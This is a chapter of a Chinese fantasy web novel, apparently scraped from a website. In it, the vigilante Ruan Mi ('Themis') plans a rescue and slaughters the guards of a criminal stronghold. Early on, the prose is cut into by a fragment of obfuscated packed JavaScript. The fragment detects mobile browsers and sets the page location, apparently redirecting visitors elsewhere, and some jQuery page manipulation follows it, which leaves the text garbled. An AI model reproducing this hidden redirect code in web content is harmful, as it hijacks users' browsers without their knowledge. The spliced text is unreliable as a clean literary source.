和谧罗的一番交谈总归是获得有用信息,那么接下来就是需要将主要目标拆成一个个任务,时间不等人,吸引幕后之人的注意和解救组织成员可以同时进行。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599816|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 身为忒弥斯的阮弥自然是执行前者。 她看向言述一道:“所以,我希望你可以帮我去救出她们,虽然她们不常在瑟拉瑞斯,但她们每一个人都很重要。” 忒弥斯是正义女神,可她是阮弥,属于她的天秤会毫无保留地偏向她所偏珍惜之人。 言述一也明白这一点,他想一直陪在阮弥身旁,可他也知道分寸,他知道此时此刻自己要做什么才能最大化自己的作用,能更好地帮助阮弥。 “好,我会把她们都救出来的。” “尽力而为就好,你自己的生命也同样重要。”阮弥深知流放带的险恶,她也深知这世上有太多不得不的事,“收好传送签,不用担心我。” 浮现在视野中的多维地图上有流放带共享的日志,简略的文字记录着一桩桩一件件恶行。 “我很快就会来找你们。”眼中无尽冷意的阮弥如是说道。 无人管辖的地方拥有自由,也充斥各式各样的无下限行径。 按照过去的经验走正门往往是下策,那样会惊动内部人员,让一些人有机会逃之夭夭。不算难找到,但会耽误时间,偏偏现在时间又很紧急。 从秘密之馆离开后,阮弥招来一辆无人载具,设置的重点在目的地旁的一处废弃高楼。 下了载具,她漫步在没有护栏的边缘,观察并收集信息。 有四支巡逻小队负责主要区域,次要地点则是自动巡逻设备辅助,并没有哨兵向导和虫群存在,普通人类个体以及武器装备。 见过太多次这样的场面阮弥已经习惯去忽略所有让她感到不适的细节,她很快就制定完计划。 “小鲸,带我过去。” 小势力据点内部,精神体实体化触发预警,其中一支巡逻队队长耳麦闪烁,他收到指示需要去波动最高的楼层调查。 “是谁路过了吧?上头怎么这么紧张。”他们不以为意,直到四周光源忽然熄灭。 “什么人!” 持枪者启动夜视模块,不远处,一个身影屹立于黑暗中。他们没有多想直接扣下扳机,可是,所有射向目标的子弹全数偏移。 “怎么回事……” 无法理解的现状让他们忘记反抗,直到他们看清来人的面目,心底的恐惧争先恐后地喷涌而出。 “忒弥斯!是忒弥斯!!!” 忒弥斯,为非作歹者的噩梦。 谁也不知道她什么时候出现,会在哪里出现,没有人知道她的行动逻辑行动目的,更没有人敢忽视那些血淋淋的清算现场和一次又一次突破上限的悬赏。 无面之人不发一言,在枪林弹雨中向前走去。 距离在拉近,他们在死去,没有任何手段能够阻止她前进,来路也早就被堵死。枪声盖过穷途末路者的呼啸,借由暴力在狂中沉醉,最终,也在狂欢中陷入死寂。 生命需要无数瞬间成长存续,而毁灭只需片刻。 喧嚣的街道在混乱发生后变得清静,该死的人都死了,阮弥踢开大门从中走出,不顾四周惊惧的目光她转身没入下一个拐角。 吱呀作响的门缓缓向外,朝目击者们展示一桩惨案的同时向流放带宣告: 忒弥斯回来了。